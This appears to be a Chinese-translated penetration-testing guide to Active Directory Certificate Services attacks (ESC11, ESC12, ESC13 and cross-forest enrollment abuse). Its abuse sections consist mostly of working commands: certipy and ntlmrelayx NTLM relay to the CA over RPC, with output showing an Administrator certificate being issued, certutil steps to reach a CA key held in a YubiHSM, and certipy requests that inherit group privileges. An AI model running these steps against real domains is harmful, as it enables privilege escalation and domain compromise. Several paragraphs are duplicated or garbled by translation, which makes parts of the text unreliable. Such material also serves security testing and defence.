**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**，资源森林的**企业CA证书**被**添加到每个账户森林的`NTAuthCertificates`和AIA容器**中。澄清一下，这个安排赋予了资源森林中的**CA对其管理的所有其他森林完全控制**。如果这个CA被攻击者**入侵**，则这个CA可以**伪造**资源和账户森林中所有用户的证书，从而打破了森林的安全边界。
如果 CA 服务器未配置`IF_ENFORCEENCRYPTICERTREQUEST`，则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。[参考此处](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。
您可以使用`certipy`来枚举是否已禁用`Enforce Encryption for Requests`，`certipy`将显示`ESC11`漏洞。
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
```
### 滥用场景
需要设置一个中继服务器：
``` bash
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
注意：对于域控制器，我们必须在 DomainController 中指定 `-template`。
或者使用 [sploutchy 的 impacket 分支](https://github.com/sploutchy/impacket)：
``` bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## 使用YubiHSM访问ADCS CA的Shell访问 - ESC12
### 解释
管理员可以设置证书颁发机构将其存储在外部设备上，如"Yubico YubiHSM2"。
如果USB设备通过USB端口连接到CA服务器，或者如果CA服务器是虚拟机，则需要一个身份验证密钥（有时称为"密码"）供密钥存储提供程序在YubiHSM中生成和使用密钥。
此密钥/密码以明文形式存储在注册表中的 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`。
参考[这里](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
### 滥用场景
如果CA的私钥存储在物理USB设备上，当您获得shell访问权限时，就有可能恢复密钥。
首先，您需要获取CA证书（这是公开的），然后：
```cmd
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
## OID组链接滥用 - ESC13
### 解释
`msPKI-Certificate-Policy` 属性允许将签发策略添加到证书模板中。负责签发策略的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的配置命名上下文（CN=OID,CN=Public Key Services,CN=Services）中找到。可以使用此对象的 `msDS-OIDToGroupLink` 属性将策略链接到 AD 组，从而使系统能够授权呈现证书的用户，就好像他是该组的成员一样。[参考链接](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
换句话说，当用户有权限注册证书并且证书链接到 OID 组时，用户可以继承该组的特权。
使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink：
```powershell
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
```
### 滥用场景
使用 `certipy find` 或 `Certify.exe find /showAllPermissions` 查找用户权限。
如果 `John` 有权限注册 `VulnerableTemplate`，该用户可以继承 `VulnerableGroup` 组的特权。
只需指定模板，用户就可以获得具有 OIDToGroupLink 权限的证书。
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## 通过证书解释被动语态下的森林升级
### 通过被入侵的CA打破森林信任
**跨森林注册**的配置相对简单。资源森林中的**根CA证书**由管理员**发布到帐户森林**，资源森林中的**企业CA证书**被**添加到每个帐户森林中的`NTAuthCertificates`和AIA容器**。澄清一下，这种安排赋予了资源森林中的**CA对其管理的所有其他森林完全控制**。如果这个CA被**攻击者入侵**，则两个森林中所有用户的证书都可能被他们**伪造**，从而打破了森林的安全边界。
### 授予外部主体的注册权限
在多森林环境中，需要谨慎处理**发布证书模板**的企业CA，这些模板允许**认证用户或外部主体**（属于企业CA所属森林之外的用户/组）**注册和编辑权限**。\
通过跨域认证，AD会将**认证用户SID**添加到用户的令牌中。因此，如果一个域拥有一个允许**认证用户注册权限**的企业CA模板，那么来自不同森林的用户可能会**注册**这个模板。同样，如果**模板明确授予外部主体注册权限**，则会创建一个**跨森林访问控制关系**，使一个森林的主体能够**注册另一个森林的模板**。
在多森林环境中，需要谨慎处理**发布证书模板**的企业CA，这些模板允许**经过身份验证的用户或外部主体**（属于企业CA所属森林之外的用户/组）**注册和编辑权限**。\
通过信任进行身份验证时，AD会将**经过身份验证的用户SID**添加到用户的令牌中。因此，如果一个域拥有一个允许**经过身份验证的用户注册权限**的企业CA模板，一个来自不同森林的用户可能会**注册该模板**。同样，如果**模板明确授予外部主体注册权限**，则会创建一个**跨森林访问控制关系**，使一个森林的主体能够**在另一个森林中注册模板**。
这两种情况都会导致从一个森林到另一个森林的**攻击面增加**。攻击者可以利用证书模板的设置在外部域中获取额外权限。